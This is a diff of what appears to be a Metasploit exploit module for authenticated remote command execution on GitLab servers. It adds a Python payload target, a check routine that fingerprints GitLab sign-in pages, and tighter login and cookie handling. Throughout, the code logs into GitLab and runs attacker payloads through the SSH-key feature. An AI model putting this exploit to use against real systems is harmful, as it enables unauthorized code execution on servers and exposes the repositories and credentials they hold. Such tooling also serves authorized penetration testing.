@@ -50,10 +50,16 @@ def initialize(info = {})
50
50
'Payload' =>
51
51
{
52
52
'Compat' => {
53
- 'RequiredCmd' => 'perl python ruby openssl netcat'
54
- }
53
+ 'RequiredCmd' => 'openssl perl python'
54
+ } ,
55
+ 'BadChars' => "\x22 "
55
56
}
56
57
58
+ } ] ,
59
+ [ 'Python' , {
60
+ 'Platform' => 'python' ,
61
+ 'Arch' => ARCH_PYTHON ,
62
+ 'Payload' => { 'BadChars' => "\x22 " }
57
63
} ]
58
64
] ,
59
65
'CmdStagerFlavor' => %w( bourne printf ) ,
@@ -70,9 +76,12 @@ def initialize(info = {})
70
76
71
77
def exploit
72
78
login
73
- if target . name == 'Unix (CMD)'
79
+ case target [ 'Platform' ]
80
+ when 'unix'
74
81
execute_command ( payload . encoded )
75
- else
82
+ when 'python'
83
+ execute_command ( "python -c \\ \" #{ payload . encoded } \\ \" " )
84
+ when 'linux'
76
85
execute_cmdstager ( temp : './' , linemax : 2800 )
77
86
end
78
87
end
@@ -82,10 +91,20 @@ def execute_command(cmd, _opts = {})
82
91
delete_key ( key_id )
83
92
end
84
93
94
+ def check
95
+ res = send_request_cgi ( 'uri' => normalize_uri ( target_uri . path . to_s , 'users' , 'sign_in' ) )
96
+ if res && res . body . include? ( 'GitLab' )
97
+ return Exploit ::CheckCode ::Detected
98
+ else
99
+ vprint_error ( "#{ peer } - Connection timed out" )
100
+ return Exploit ::CheckCode ::Unknown
101
+ end
102
+ end
103
+
85
104
def login
86
105
username = datastore [ 'USERNAME' ]
87
106
password = datastore [ 'PASSWORD' ]
88
- signin_page = normalize_uri ( datastore [ 'TARGETURI' ] , 'users' , 'sign_in' )
107
+ signin_page = normalize_uri ( target_uri . path . to_s , 'users' , 'sign_in' )
89
108
90
109
# Get a valid session cookie and authenticity_token for the next step
91
110
res = send_request_cgi (
@@ -122,16 +141,16 @@ def login
122
141
}
123
142
)
124
143
125
- fail_with ( Failure ::NoAccess , "#{ peer } - Login failed" ) unless res
144
+ fail_with ( Failure ::NoAccess , "#{ peer } - Login failed" ) unless res && res . code == 302
126
145
127
146
@session_cookie = res . get_cookies . scan ( /(_gitlab_session=[A-Za-z0-9%-]+)/ ) . flatten [ 0 ]
128
147
end
129
148
130
149
def add_key ( cmd )
131
150
if @gitlab_version == 5
132
- @key_base = normalize_uri ( datastore [ 'TARGETURI' ] , 'keys' )
151
+ @key_base = normalize_uri ( target_uri . path . to_s , 'keys' )
133
152
else
134
- @key_base = normalize_uri ( datastore [ 'TARGETURI' ] , 'profile' , 'keys' )
153
+ @key_base = normalize_uri ( target_uri . path . to_s , 'profile' , 'keys' )
135
154
end
136
155
137
156
# Perform an initial request to get an authenticity_token so the actual
0 commit comments